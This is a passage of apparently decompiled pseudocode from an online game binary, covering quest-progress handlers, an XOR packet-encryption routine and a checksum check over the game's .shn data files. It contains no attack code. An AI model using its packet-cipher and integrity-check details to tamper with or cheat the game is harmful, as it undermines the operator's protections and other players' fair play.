this->m_NumOfQuest <= 0 ) { result = 0; } else { v13 = 0; do { v5 = (int)&v3->m_pQuestArray[v13]; if ( v5 ) { if ( *(_BYTE *)(v5 + 2) == 6 ) { v6 = CQuestData::GetQuestData(v3->m_pQuestData, *(_WORD *)v5); pQuestData = v6; if ( v6 ) { v7 = (int)&v6->End.ItemList[0].ItemID; v15 = 5; do { if ( *(_BYTE *)(v7 - 2) == 1 ) { if ( *(_WORD *)v7 == nItemID ) { v8 = *(_WORD *)(v7 + 2); v3->vfptr->Occure_TakeItem(v3, *(_WORD *)v5, nItemID, nCurrentLot, *(_WORD *)(v7 + 2)); if ( nCurrentLot <= v8 ) { v9 = *(_BYTE *)(v5 + 2); bResult = 1; v10 = CQuest::DoingQuestUpdateStatus(v3, i); if ( v9 == 6 ) { if ( v10 == 8 ) { v3->vfptr->Occure_NewStatusReward(v3, (PLAYER_QUEST_INFO *)v5, pQuestData); } else { if ( v10 == 7 ) v3->vfptr->Occure_NewStatusFailed(v3, (PLAYER_QUEST_INFO *)v5, pQuestData); } } } } } v7 += 6; --v15; } while ( v15 ); v4 = i; } } } ++v4; i = v4; ++v13; } while ( v4 < v3->m_NumOfQuest ); result = bResult; } return result; } //----- (00564880) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_DestroyItem(CQuest *this, unsigned __int16 nItemID, unsigned __int16 nCurrentLot) { CQuest *v3; // esi@1 int v4; // ebx@1 int v5; // edi@3 QUEST_DATA *v6; // eax@4 int v7; // ebx@5 signed int v8; // ebp@8 int v9; // ebp@9 PLAYER_QUEST_STATUS v10; // eax@9 int result; // eax@17 int i; // [sp+18h] [bp-14h]@1 int v13; // [sp+1Ch] [bp-10h]@2 QUEST_DATA *pQuestData; // [sp+20h] [bp-Ch]@4 signed int v15; // [sp+24h] [bp-8h]@5 int bResult; // [sp+28h] [bp-4h]@1 v3 = this; v4 = 0; bResult = 0; i = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v13 = 0; do { v5 = (int)&v3->m_pQuestArray[v13]; if ( v5 ) { v6 = CQuestData::GetQuestData(v3->m_pQuestData, *(_WORD *)v5); pQuestData = v6; if ( v6 ) { v7 = (int)&v6->End.ItemList[0].ItemID; v15 = 5; do { if ( *(_BYTE *)(v7 - 2) == 1 ) { if ( *(_WORD *)v7 == nItemID ) { v8 = *(_WORD *)(v7 + 2); v3->vfptr->Occure_DestroyItem(v3, *(_WORD *)v5, nItemID, nCurrentLot, *(_WORD *)(v7 + 2)); if ( nCurrentLot < v8 ) { v9 = *(_BYTE *)(v5 + 2); bResult = 1; v10 = CQuest::DoingQuestUpdateStatus(v3, i); if ( v9 == 8 ) { if ( v10 == 6 ) { v3->vfptr->Occure_NewStatusIng(v3, (PLAYER_QUEST_INFO *)v5, pQuestData); } else { if ( v10 == 7 ) v3->vfptr->Occure_NewStatusFailed(v3, (PLAYER_QUEST_INFO *)v5, pQuestData); } } } } } v7 += 6; --v15; } while ( v15 ); v4 = i; } } ++v4; i = v4; ++v13; } while ( v4 < v3->m_NumOfQuest ); result = bResult; } return result; } //----- (005649A0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_CheckLocation(CQuest *this) { CQuest *v1; // esi@1 CQuestVtbl *v2; // eax@1 int v3; // eax@1 int v4; // edi@3 QUEST_DATA *v5; // eax@5 QUEST_DATA *v6; // ebx@5 int v7; // ecx@10 CQuestVtbl *v8; // edx@10 int v9; // ebp@10 PLAYER_QUEST_STATUS v10; // eax@10 int v11; // eax@15 bool v12; // sf@15 unsigned __int8 v13; // of@15 int result; // eax@16 int i; // [sp+30h] [bp-18h]@1 int v16; // [sp+34h] [bp-14h]@2 __int16 nLocation; // [sp+38h] [bp-10h]@1 int bResult; // [sp+3Ch] [bp-Ch]@1 unsigned int LocationY; // [sp+40h] [bp-8h]@1 unsigned int LocationX; // [sp+44h] [bp-4h]@1 v1 = this; v2 = this->vfptr; bResult = 0; ((void (__stdcall *)(__int16 *, unsigned int *, unsigned int *))v2->GetPlayerCurrentLocation)( &nLocation, &LocationX, &LocationY); v3 = v1->m_NumOfQuest; i = 0; if ( v3 <= 0 ) { result = 0; } else { v16 = 0; if ( v3 <= 0 ) goto LABEL_15; do { v4 = (int)&v1->m_pQuestArray[v16]; if ( v4 ) { if ( *(_BYTE *)(v4 + 2) == 6 ) { v5 = CQuestData::GetQuestData(v1->m_pQuestData, *(_WORD *)v4); v6 = v5; if ( v5 ) { if ( v5->End.bLocation == 1 ) { if ( v5->End.Location == nLocation ) { if ( !(*(_BYTE *)(v4 + 29) & 1) ) { if ( v1->vfptr->IsQuestArea( v1, LocationX, LocationY, v5->End.LocationX, v5->End.LocationY, v5->End.LocationRange) ) { v7 = *(_WORD *)v4; *(_BYTE *)(v4 + 29) |= 1u; v8 = v1->vfptr; bResult = 1; v8->Occure_CheckLocation(v1, v7, *(_DWORD *)&nLocation); v9 = *(_BYTE *)(v4 + 2); v10 = CQuest::DoingQuestUpdateStatus(v1, i); if ( v9 == 6 ) { if ( v10 == 8 ) { v1->vfptr->Occure_NewStatusReward(v1, (PLAYER_QUEST_INFO *)v4, v6); } else { if ( v10 == 7 ) v1->vfptr->Occure_NewStatusFailed(v1, (PLAYER_QUEST_INFO *)v4, v6); } } } } } } } } } LABEL_15: v11 = v1->m_NumOfQuest; v13 = __OFSUB__(i + 1, v11); v12 = i++ + 1 - v11 < 0; ++v16; } while ( v12 ^ v13 ); result = bResult; } return result; } //----- (00564AF0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_ScenarioDone(CQuest *this, unsigned __int16 nScenarioID) { CQuest *v2; // edi@1 int v3; // ebx@1 int v4; // esi@3 QUEST_DATA *v5; // eax@5 char v6; // al@8 int v7; // ebp@9 PLAYER_QUEST_STATUS v8; // eax@9 int result; // eax@15 int v10; // [sp+10h] [bp-Ch]@2 QUEST_DATA *pQuestData; // [sp+14h] [bp-8h]@5 int bResult; // [sp+18h] [bp-4h]@1 v2 = this; v3 = 0; bResult = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v10 = 0; do { v4 = (int)&v2->m_pQuestArray[v10]; if ( v4 ) { if ( *(_BYTE *)(v4 + 2) == 6 ) { v5 = CQuestData::GetQuestData(v2->m_pQuestData, *(_WORD *)v4); pQuestData = v5; if ( v5 ) { if ( v5->End.bScenario == 1 ) { if ( v5->End.ScenarioID == nScenarioID ) { v6 = *(_BYTE *)(v4 + 29); if ( !(v6 & 2) ) { *(_BYTE *)(v4 + 29) = v6 | 2; bResult = 1; v2->vfptr->Occure_ScenarioDone(v2, *(_WORD *)v4, nScenarioID); v7 = *(_BYTE *)(v4 + 2); v8 = CQuest::DoingQuestUpdateStatus(v2, v3); if ( v7 == 6 ) { if ( v8 == 8 ) { v2->vfptr->Occure_NewStatusReward(v2, (PLAYER_QUEST_INFO *)v4, pQuestData); } else { if ( v8 == 7 ) v2->vfptr->Occure_NewStatusFailed(v2, (PLAYER_QUEST_INFO *)v4, pQuestData); } } } } } } } } ++v3; ++v10; } while ( v3 < v2->m_NumOfQuest ); result = bResult; } return result; } //----- (00564BE0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_RaceChange(CQuest *this, char nRace) { CQuest *v2; // esi@1 int v3; // edi@3 QUEST_DATA *v4; // eax@5 QUEST_DATA *v5; // ebx@5 int v6; // ebp@8 PLAYER_QUEST_STATUS v7; // eax@8 int v8; // eax@13 bool v9; // sf@13 unsigned __int8 v10; // of@13 int result; // eax@14 int i; // [sp+10h] [bp-Ch]@1 int v13; // [sp+14h] [bp-8h]@2 int bResult; // [sp+18h] [bp-4h]@1 v2 = this; bResult = 0; i = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v13 = 0; do { v3 = (int)&v2->m_pQuestArray[v13]; if ( v3 ) { if ( *(_BYTE *)(v3 + 2) == 6 ) { v4 = CQuestData::GetQuestData(v2->m_pQuestData, *(_WORD *)v3); v5 = v4; if ( v4 ) { if ( v4->End.bRace == 1 ) { if ( v4->End.Race == nRace ) { bResult = 1; v2->vfptr->Occure_RaceChange(v2, *(_WORD *)v3, nRace); v6 = *(_BYTE *)(v3 + 2); v7 = CQuest::DoingQuestUpdateStatus(v2, i); if ( v6 == 6 ) { if ( v7 == 8 ) { v2->vfptr->Occure_NewStatusReward(v2, (PLAYER_QUEST_INFO *)v3, v5); } else { if ( v7 == 7 ) v2->vfptr->Occure_NewStatusFailed(v2, (PLAYER_QUEST_INFO *)v3, v5); } } } } } } } v8 = v2->m_NumOfQuest; v10 = __OFSUB__(i + 1, v8); v9 = i++ + 1 - v8 < 0; ++v13; } while ( v9 ^ v10 ); result = bResult; } return result; } //----- (00564CC0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_ClassChange(CQuest *this, char nClass) { CQuest *v2; // esi@1 int v3; // edi@3 QUEST_DATA *v4; // eax@5 QUEST_DATA *v5; // ebx@5 int v6; // ebp@8 PLAYER_QUEST_STATUS v7; // eax@8 int v8; // eax@13 bool v9; // sf@13 unsigned __int8 v10; // of@13 int result; // eax@14 int i; // [sp+10h] [bp-Ch]@1 int v13; // [sp+14h] [bp-8h]@2 int bResult; // [sp+18h] [bp-4h]@1 v2 = this; bResult = 0; i = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v13 = 0; do { v3 = (int)&v2->m_pQuestArray[v13]; if ( v3 ) { if ( *(_BYTE *)(v3 + 2) == 6 ) { v4 = CQuestData::GetQuestData(v2->m_pQuestData, *(_WORD *)v3); v5 = v4; if ( v4 ) { if ( v4->End.bClass == 1 ) { if ( v4->End.Class == nClass ) { bResult = 1; v2->vfptr->Occure_ClassChange(v2, *(_WORD *)v3, nClass); v6 = *(_BYTE *)(v3 + 2); v7 = CQuest::DoingQuestUpdateStatus(v2, i); if ( v6 == 6 ) { if ( v7 == 8 ) { v2->vfptr->Occure_NewStatusReward(v2, (PLAYER_QUEST_INFO *)v3, v5); } else { if ( v7 == 7 ) v2->vfptr->Occure_NewStatusFailed(v2, (PLAYER_QUEST_INFO *)v3, v5); } } } } } } } v8 = v2->m_NumOfQuest; v10 = __OFSUB__(i + 1, v8); v9 = i++ + 1 - v8 < 0; ++v13; } while ( v9 ^ v10 ); result = bResult; } return result; } //----- (00564DA0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_TimeProcess(CQuest *this) { CQuest *v1; // esi@1 int v2; // eax@1 int result; // eax@2 int v4; // ecx@3 int v5; // ebx@3 int v6; // eax@3 int v7; // edi@7 QUEST_DATA *v8; // eax@9 QUEST_DATA *v9; // ebp@9 int v10; // eax@11 int v11; // eax@12 int v12; // ebx@12 PLAYER_QUEST_STATUS v13; // eax@12 int v14; // ecx@17 bool v15; // sf@17 unsigned __int8 v16; // of@17 int i; // [sp+14h] [bp-10h]@3 int v18; // [sp+18h] [bp-Ch]@4 int bResult; // [sp+1Ch] [bp-8h]@1 int PassedTime; // [sp+20h] [bp-4h]@3 v1 = this; bResult = 0; v2 = time(0); if ( v2 == v1->m_ProcessedTime ) { result = 0; } else { v4 = v1->m_NumOfQuest; v5 = (unsigned __int16)(LOWORD(v1->m_ProcessedTime) - v2); v1->m_ProcessedTime = v2; v6 = 0; i = 0; PassedTime = v5; if ( v4 > 0 ) { v18 = 0; while ( 1 ) { if ( v6 < v1->m_NumOfQuest ) { v7 = (int)&v1->m_pQuestArray[v18]; if ( v7 ) { if ( *(_BYTE *)(v7 + 2) == 6 ) { v8 = CQuestData::GetQuestData(v1->m_pQuestData, *(_WORD *)v7); v9 = v8; if ( v8 ) { if ( v8->End.bTimeLimit == 1 ) { v10 = *(_WORD *)(v7 + 30); if ( v9->End.TimeLimit >= (unsigned __int16)v10 ) { v11 = v5 + v10; *(_WORD *)(v7 + 30) = v11; bResult = 1; v1->vfptr->Occure_TimeProcess(v1, *(_WORD *)v7, v11, v9->End.TimeLimit); v12 = *(_BYTE *)(v7 + 2); v13 = CQuest::DoingQuestUpdateStatus(v1, i); if ( v12 == 6 ) { if ( v13 == 8 ) { v1->vfptr->Occure_NewStatusReward(v1, (PLAYER_QUEST_INFO *)v7, v9); } else { if ( v13 == 7 ) v1->vfptr->Occure_NewStatusFailed(v1, (PLAYER_QUEST_INFO *)v7, v9); } } } } } } } } v14 = v1->m_NumOfQuest; v6 = i + 1; v16 = __OFSUB__(i + 1, v14); v15 = i++ + 1 - v14 < 0; ++v18; if ( !(v15 ^ v16) ) break; v5 = PassedTime; } } result = bResult; } return result; } //----- (00564ED0) -------------------------------------------------------- void __thiscall CQuest::GetQuestStatusWithNPC(CQuest *this, CQuest::NPC_QUEST_STATUS *kQuestStatus) { CQuest::NPC_QUEST_STATUS *v2; // esi@1 int v3; // ebp@1 QUEST_DATA *v4; // ebx@1 signed int v5; // edi@1 unsigned int v6; // edx@1 CQuestData *v7; // ecx@2 QUEST_DATA_HEAD *v8; // eax@2 unsigned __int16 v9; // ax@3 QUEST_DATA *v10; // eax@6 QUEST_DATA *v11; // esi@6 signed int v12; // eax@14 unsigned int i; // [sp+10h] [bp-18h]@1 CQuest *thisa; // [sp+14h] [bp-14h]@1 unsigned __int16 TempQuestStatus; // [sp+18h] [bp-10h]@1 int v16; // [sp+20h] [bp-8h]@8 v2 = kQuestStatus; v3 = 0; v4 = 0; v5 = -1; v6 = 0; thisa = this; TempQuestStatus = kQuestStatus->hID; i = 0; while ( 1 ) { v7 = thisa->m_pQuestData; v8 = v7->m_pDataHead; v9 = v8 ? v8->NumOfQuest : 0; if ( (signed int)v6 >= v9 ) break; v10 = CQuestData::GetQuestDataByIndex(v7, v6); v11 = v10; if ( !v10 || !CQuest::GetQuestStatusWithNPC(thisa, (CQuest::NPC_QUEST_STATUS *)&TempQuestStatus, v10) ) goto LABEL_18; if ( v16 <= v3 ) { if ( v16 == v3 ) { if ( v11->Start.bLevel ) v12 = v11->Start.LevelMin; else v12 = -1; if ( v12 < v5 ) { v4 = v11; v5 = v12; } } LABEL_18: v2 = kQuestStatus; ++i; v6 = i; } else { v3 = v16; v4 = v11; if ( v11->Start.bLevel ) { v5 = v11->Start.LevelMin; v2 = kQuestStatus; ++i; v6 = i; } else { v2 = kQuestStatus; v5 = -1; ++i; v6 = i; } } } v2->nLevel = v5; v2->eResultState = v3; v2->lpQuestData = v4; } //----- (00564FC0) -------------------------------------------------------- char *__thiscall PacketEncrypt::pe_FromClientToServer(PacketEncrypt *this, char *buf, int len) { int v3; // edx@1 char *result; // eax@5 v3 = 0; if ( len <= 0 ) { result = buf; } else { do { buf[v3] ^= PacketEncrypt::pe_encryptstr[this->pe_point++]; if ( this->pe_point >= 0x1F3u ) this->pe_point = 0; ++v3; } while ( v3 < len ); result = buf; } return result; } //----- (00565000) -------------------------------------------------------- char *__thiscall PacketEncrypt::pe_FromServerToClient(PacketEncrypt *this, char *buf, int len) { return buf; } //----- (00565010) -------------------------------------------------------- int __thiscall CShnDataFileCheckSum::__unnamed::__unnamed(int this) { int result; // eax@1 result = this; *(_DWORD *)(this + 29) = 0; *(_DWORD *)(this + 25) = 0; *(_DWORD *)(this + 21) = 0; *(_DWORD *)(this + 17) = 0; *(_DWORD *)(this + 13) = 0; *(_DWORD *)(this + 9) = 0; *(_DWORD *)(this + 5) = 0; *(_DWORD *)(this + 1) = 0; return result; } //----- (00565030) -------------------------------------------------------- void __thiscall CShnDataFileCheckSum::_CShnDataFileCheckSum(CShnDataFileCheckSum *this) { _eh_vector_destructor_iterator_( this->CheckSumData, 0x41u, 25, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00565050) -------------------------------------------------------- char __thiscall CShnDataFileCheckSum::InitDataFileCheckSum(CShnDataFileCheckSum *this, const char *FileName, Name8 nCheckSum) { CShnDataFileCheckSum *v3; // ebx@1 const char *v4; // eax@1 const char v5; // cl@2 int v6; // eax@3 char v7; // cl@4 int v8; // edi@5 int i; // esi@5 char *v10; // eax@7 signed int v11; // edi@8 bool v12; // zf@8 bool v13; // sf@8 unsigned __int8 v14; // of@8 char result; // al@9 const char *v16; // ebp@11 int v17; // eax@21 char Token[2]; // [sp+10h] [bp-8Ch]@1 char v19; // [sp+13h] [bp-89h]@1 CShnDataFileCheckSum *Index; // [sp+14h] [bp-88h]@1 char FileNameBuff[128]; // [sp+18h] [bp-84h]@2 v3 = this; strcpy(Token, "/\\"); v4 = FileName; Index = this; v19 = 0; do { v5 = *v4; v4[FileNameBuff - FileName] = *v4; ++v4; } while ( v5 ); v6 = (int)FileNameBuff; do v7 = *(_BYTE *)v6++; while ( v7 ); v8 = v6 - (_DWORD)&FileNameBuff[1]; for ( i = 0; i < v8; ++i ) FileNameBuff[i] = tolower(FileNameBuff[i]); v10 = strtok(FileNameBuff, Token); if ( v10 ) { while ( 1 ) { v11 = 0; v16 = v3->CheckSumData[0].DataFileName; do { if ( !strcmp(v16, v10) ) break; ++v11; v16 += 65; } while ( v11 < 25 ); if ( v11 != 25 ) break; v10 = strtok(0, Token); if ( !v10 ) return 1; v3 = Index; } v3 = Index; v14 = __OFSUB__(v11, 25); v12 = v11 == 25; v13 = v11 - 25 < 0; } else { v11 = (signed int)Index; v14 = __OFSUB__(Index, 25); v12 = Index == (CShnDataFileCheckSum *)25; v13 = (signed int)((char *)Index - 25) < 0; if ( Index == (CShnDataFileCheckSum *)25 ) return 1; } if ( (unsigned __int8)(v13 ^ v14) | v12 && v11 >= 0 && v3->InitCheckSumCnt <= 25 ) { v17 = (int)((char *)v3 + 65 * v11); *(_DWORD *)(v17 + 5) = *(_DWORD *)&nCheckSum; *(_DWORD *)(v17 + 9) = *(_DWORD *)&nCheckSum.n8_name[4]; *(_DWORD *)(v17 + 13) = *(_DWORD *)&nCheckSum.n8_name[8]; *(_DWORD *)(v17 + 17) = *(_DWORD *)&nCheckSum.n8_name[12]; *(_DWORD *)(v17 + 21) = *(_DWORD *)&nCheckSum.n8_name[16]; *(_DWORD *)(v17 + 25) = *(_DWORD *)&nCheckSum.n8_name[20]; *(_DWORD *)(v17 + 29) = *(_DWORD *)&nCheckSum.n8_name[24]; *(_DWORD *)(v17 + 33) = *(_DWORD *)&nCheckSum.n8_name[28]; *(_BYTE *)(v17 + 4) = 1; ++v3->InitCheckSumCnt; result = 1; } else { result = 0; } return result; } //----- (005651F0) -------------------------------------------------------- int __thiscall CShnDataFileCheckSum::DataFileCheck(CShnDataFileCheckSum *this, Name8 *Data) { unsigned __int8 v2; // bl@1 int v3; // edx@2 int v4; // edi@2 int v5; // eax@2 int v6; // ebp@2 Name8 *v7; // eax@2 char *v8; // edx@2 v2 = 0; while ( 1 ) { v3 = v2; v4 = *(_DWORD *)&this->CheckSumData[v3].CheckSum.n8_name[0]; v5 = v2; v6 = *(_DWORD *)&Data[v5].n8_name[0]; v7 = &Data[v5]; v8 = (char *)&this->CheckSumData[v3].CheckSum; if ( v4 != v6 ) break; if ( *((_DWORD *)v8 + 1) != *(_DWORD *)&v7->n8_name[4] || *((_DWORD *)v8 + 2) != *(_DWORD *)&v7->n8_name[8] || *((_DWORD *)v8 + 3) != *(_DWORD *)&v7->n8_name[12] || *((_DWORD *)v8 + 4) != *(_DWORD *)&v7->n8_name[16] || *((_DWORD *)v8 + 5) != *(_DWORD *)&v7->n8_name[20] || *((_DWORD *)v8 + 6) != *(_DWORD *)&v7->n8_name[24] || *((_DWORD *)v8 + 7) != *(_DWORD *)&v7->n8_name[28] ) break; ++v2; if ( v2 >= 0x19u ) return -1; } return v2; } //----- (00565270) -------------------------------------------------------- Name8 *__thiscall CShnDataFileCheckSum::GetDataFileCheckSum(CShnDataFileCheckSum *this, SHN_DATA_FILE_INDEX Index) { Name8 *result; // eax@3 if ( (signed int)Index < 0 || (signed int)Index >= 25 ) result = 0; else result = &this->CheckSumData[Index].CheckSum; return result; } //----- (00565290) -------------------------------------------------------- char __thiscall CShnDataFileCheckSum::isFileLoadAllComplete(CShnDataFileCheckSum *this) { return this->InitCheckSumCnt == 25; } //----- (005652A0) -------------------------------------------------------- char *__thiscall CShnDataFileCheckSum::NotLoadFileName(CShnDataFileCheckSum *this) { signed int v1; // eax@1 char *v2; // edx@1 v1 = 0; v2 = (char *)this->CheckSumData; while ( *v2 ) { ++v1; v2 += 65; if ( v1 >= 25 ) return 0; } return this->CheckSumData[v1].DataFileName; } //----- (005652C0) -------------------------------------------------------- char *__thiscall CShnDataFileCheckSum::GetDataFileName(CShnDataFileCheckSum *this, SHN_DATA_FILE_INDEX Index) { char *result; // eax@3 if ( (signed int)Index < 0 || (signed int)Index >= 25 ) result = 0; else result = this->CheckSumData[Index].DataFileName; return result; } //----- (005652E0) -------------------------------------------------------- void __thiscall CShnDataFileCheckSum::CShnDataFileCheckSum(CShnDataFileCheckSum *this) { CShnDataFileCheckSum *v1; // ebx@1 char *v2; // esi@1 char *v3; // eax@1 signed int v4; // ecx@1 int v5; // ebp@3 int v6; // eax@4 int v7; // edx@4 char v8; // cl@5 int v9; // edi@6 int i; // esi@6 signed int v11; // [sp+10h] [bp-4h]@3 v1 = this; v2 = (char *)this->CheckSumData; _eh_vector_constructor_iterator_( this->CheckSumData, 0x41u, 25, (void (__thiscall *)(void *))CShnDataFileCheckSum::__unnamed::__unnamed, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->InitCheckSumCnt = 0; v3 = v2; v4 = 25; do { *v3 = 0; v3 += 65; --v4; } while ( v4 ); v5 = (int)v1->CheckSumData[0].DataFileName; *(_DWORD *)&v1->CheckSumData[0].DataFileName[0] = *(_DWORD *)"Abstate.shn"; *(_DWORD *)&v1->CheckSumData[0].DataFileName[4] = dword_5DB774; *(_DWORD *)&v1->CheckSumData[0].DataFileName[8] = off_5DB778; *(_DWORD *)&v1->CheckSumData[1].DataFileName[0] = *(_DWORD *)"ActiveSkill.shn"; *(_DWORD *)&v1->CheckSumData[1].DataFileName[4] = dword_5DB764; *(_DWORD *)&v1->CheckSumData[1].DataFileName[8] = dword_5DB768; *(_DWORD *)&v1->CheckSumData[1].DataFileName[12] = off_5DB76C; memcpy(v1->CheckSumData[2].DataFileName, "CharacterTitleData.shn", 0x17u); *(_DWORD *)&v1->CheckSumData[3].DataFileName[0] = *(_DWORD *)"ChargedEffect.shn"; *(_DWORD *)&v1->CheckSumData[3].DataFileName[4] = dword_5DB738; *(_DWORD *)&v1->CheckSumData[3].DataFileName[8] = dword_5DB73C; *(_DWORD *)&v1->CheckSumData[3].DataFileName[12] = dword_5DB740; *(_WORD *)&v1->CheckSumData[3].DataFileName[16] = word_5DB744; *(_DWORD *)&v1->CheckSumData[4].DataFileName[0] = *(_DWORD *)"ClassName.shn"; *(_DWORD *)&v1->CheckSumData[4].DataFileName[4] = dword_5DB728; *(_DWORD *)&v1->CheckSumData[4].DataFileName[8] = dword_5DB72C; *(_WORD *)&v1->CheckSumData[4].DataFileName[12] = word_5DB730; *(_DWORD *)&v1->CheckSumData[5].DataFileName[0] = *(_DWORD *)"Gather.shn"; *(_DWORD *)&v1->CheckSumData[5].DataFileName[4] = dword_5DB71C; *(_WORD *)&v1->CheckSumData[5].DataFileName[8] = word_5DB720; v1->CheckSumData[5].DataFileName[10] = byte_5DB722; *(_DWORD *)&v1->CheckSumData[6].DataFileName[0] = *(_DWORD *)"GradeItemOption.shn"; *(_DWORD *)&v1->CheckSumData[6].DataFileName[4] = dword_5DB708; *(_DWORD *)&v1->CheckSumData[6].DataFileName[8] = dword_5DB70C; *(_DWORD *)&v1->CheckSumData[6].DataFileName[12] = dword_5DB710; *(_DWORD *)&v1->CheckSumData[6].DataFileName[16] = off_5DB714; *(_DWORD *)&v1->CheckSumData[7].DataFileName[0] = *(_DWORD *)"ItemDismantle.shn"; *(_DWORD *)&v1->CheckSumData[7].DataFileName[4] = dword_5DB6F4; *(_DWORD *)&v1->CheckSumData[7].DataFileName[8] = dword_5DB6F8; *(_DWORD *)&v1->CheckSumData[7].DataFileName[12] = dword_5DB6FC; *(_WORD *)&v1->CheckSumData[7].DataFileName[16] = word_5DB700; *(_DWORD *)&v1->CheckSumData[8].DataFileName[0] = *(_DWORD *)"ItemInfo.shn"; *(_DWORD *)&v1->CheckSumData[8].DataFileName[4] = dword_5DB6E4; *(_DWORD *)&v1->CheckSumData[8].DataFileName[8] = dword_5DB6E8; v1->CheckSumData[8].DataFileName[12] = byte_5DB6EC; *(_DWORD *)&v1->CheckSumData[9].DataFileName[0] = *(_DWORD *)"MapInfo.shn"; *(_DWORD *)&v1->CheckSumData[9].DataFileName[4] = dword_5DB6D8; *(_DWORD *)&v1->CheckSumData[9].DataFileName[8] = off_5DB6DC; *(_DWORD *)&v1->CheckSumData[10].DataFileName[0] = *(_DWORD *)"MiniHouse.shn"; *(_DWORD *)&v1->CheckSumData[10].DataFileName[4] = dword_5DB6C8; *(_DWORD *)&v1->CheckSumData[10].DataFileName[8] = dword_5DB6CC; *(_WORD *)&v1->CheckSumData[10].DataFileName[12] = word_5DB6D0; memcpy(v1->CheckSumData[11].DataFileName, "MiniHouseFurniture.shn", 0x17u); *(_DWORD *)&v1->CheckSumData[12].DataFileName[0] = *(_DWORD *)"MiniHouseObjAni.shn"; *(_DWORD *)&v1->CheckSumData[12].DataFileName[4] = dword_5DB69C; *(_DWORD *)&v1->CheckSumData[12].DataFileName[8] = dword_5DB6A0; *(_DWORD *)&v1->CheckSumData[12].DataFileName[12] = dword_5DB6A4; *(_DWORD *)&v1->CheckSumData[12].DataFileName[16] = off_5DB6A8; *(_DWORD *)&v1->CheckSumData[13].DataFileName[0] = *(_DWORD *)"MobInfo.shn"; *(_DWORD *)&v1->CheckSumData[13].DataFileName[4] = dword_5DB690; *(_DWORD *)&v1->CheckSumData[13].DataFileName[8] = off_5DB694; *(_DWORD *)&v1->CheckSumData[14].DataFileName[0] = *(_DWORD *)"PassiveSkill.shn"; *(_DWORD *)&v1->CheckSumData[14].DataFileName[4] = dword_5DB67C; *(_DWORD *)&v1->CheckSumData[14].DataFileName[8] = dword_5DB680; *(_DWORD *)&v1->CheckSumData[14].DataFileName[12] = dword_5DB684; v1->CheckSumData[14].DataFileName[16] = byte_5DB688; *(_DWORD *)&v1->CheckSumData[15].DataFileName[0] = *(_DWORD *)"Riding.shn"; *(_DWORD *)&v1->CheckSumData[15].DataFileName[4] = dword_5DB670; *(_WORD *)&v1->CheckSumData[15].DataFileName[8] = word_5DB674; v1->CheckSumData[15].DataFileName[10] = byte_5DB676; *(_DWORD *)&v1->CheckSumData[16].DataFileName[0] = *(_DWORD *)"SubAbstate.shn"; *(_DWORD *)&v1->CheckSumData[16].DataFileName[4] = dword_5DB660; *(_DWORD *)&v1->CheckSumData[16].DataFileName[8] = dword_5DB664; *(_WORD *)&v1->CheckSumData[16].DataFileName[12] = word_5DB668; v1->CheckSumData[16].DataFileName[14] = byte_5DB66A; *(_DWORD *)&v1->CheckSumData[17].DataFileName[0] = *(_DWORD *)"UpgradeInfo.shn"; *(_DWORD *)&v1->CheckSumData[17].DataFileName[4] = dword_5DB650; *(_DWORD *)&v1->CheckSumData[17].DataFileName[8] = dword_5DB654; *(_DWORD *)&v1->CheckSumData[17].DataFileName[12] = off_5DB658; *(_DWORD *)&v1->CheckSumData[18].DataFileName[0] = *(_DWORD *)"WeaponAttrib.shn"; *(_DWORD *)&v1->CheckSumData[18].DataFileName[4] = dword_5DB63C; *(_DWORD *)&v1->CheckSumData[18].DataFileName[8] = dword_5DB640; *(_DWORD *)&v1->CheckSumData[18].DataFileName[12] = dword_5DB644; v1->CheckSumData[18].DataFileName[16] = byte_5DB648; *(_DWORD *)&v1->CheckSumData[19].DataFileName[0] = *(_DWORD *)"WeaponTitleData.shn"; *(_DWORD *)&v1->CheckSumData[19].DataFileName[4] = dword_5DB628; *(_DWORD *)&v1->CheckSumData[19].DataFileName[8] = dword_5DB62C; *(_DWORD *)&v1->CheckSumData[19].DataFileName[12] = dword_5DB630; *(_DWORD *)&v1->CheckSumData[19].DataFileName[16] = off_5DB634; memcpy( v1->CheckSumData[20].DataFileName, "MiniHouseFurnitureObjEffect.shn", sizeof(v1->CheckSumData[20].DataFileName)); *(_DWORD *)&v1->CheckSumData[21].DataFileName[0] = *(_DWORD *)"SetItem.shn"; *(_DWORD *)&v1->CheckSumData[21].DataFileName[4] = dword_5DB5FC; *(_DWORD *)&v1->CheckSumData[21].DataFileName[8] = off_5DB600; *(_DWORD *)&v1->CheckSumData[22].DataFileName[0] = *(_DWORD *)"SetItemEffect.shn"; *(_DWORD *)&v1->CheckSumData[22].DataFileName[4] = dword_5DB5E8; *(_DWORD *)&v1->CheckSumData[22].DataFileName[8] = dword_5DB5EC; *(_DWORD *)&v1->CheckSumData[22].DataFileName[12] = dword_5DB5F0; *(_WORD *)&v1->CheckSumData[22].DataFileName[16] = word_5DB5F4; *(_DWORD *)&v1->CheckSumData[23].DataFileName[0] = *(_DWORD *)"MiniHouseEndure.shn"; *(_DWORD *)&v1->CheckSumData[23].DataFileName[4] = dword_5DB5D4; *(_DWORD *)&v1->CheckSumData[23].DataFileName[8] = dword_5DB5D8; *(_DWORD *)&v1->CheckSumData[23].DataFileName[12] = dword_5DB5DC; *(_DWORD *)&v1->CheckSumData[23].DataFileName[16] = off_5DB5E0; *(_DWORD *)&v1->CheckSumData[24].DataFileName[0] = *(_DWORD *)"DiceDividind.shn"; *(_DWORD *)&v1->CheckSumData[24].DataFileName[4] = dword_5DB5C0; *(_DWORD *)&v1->CheckSumData[24].DataFileName[8] = dword_5DB5C4; *(_DWORD *)&v1->CheckSumData[24].DataFileName[12] = dword_5DB5C8; v1->CheckSumData[24].DataFileName[16] = byte_5DB5CC; v11 = 25; do { v6 = v5; v7 = v5 + 1; do v8 = *(_BYTE *)v6++; while ( v8 ); v9 = 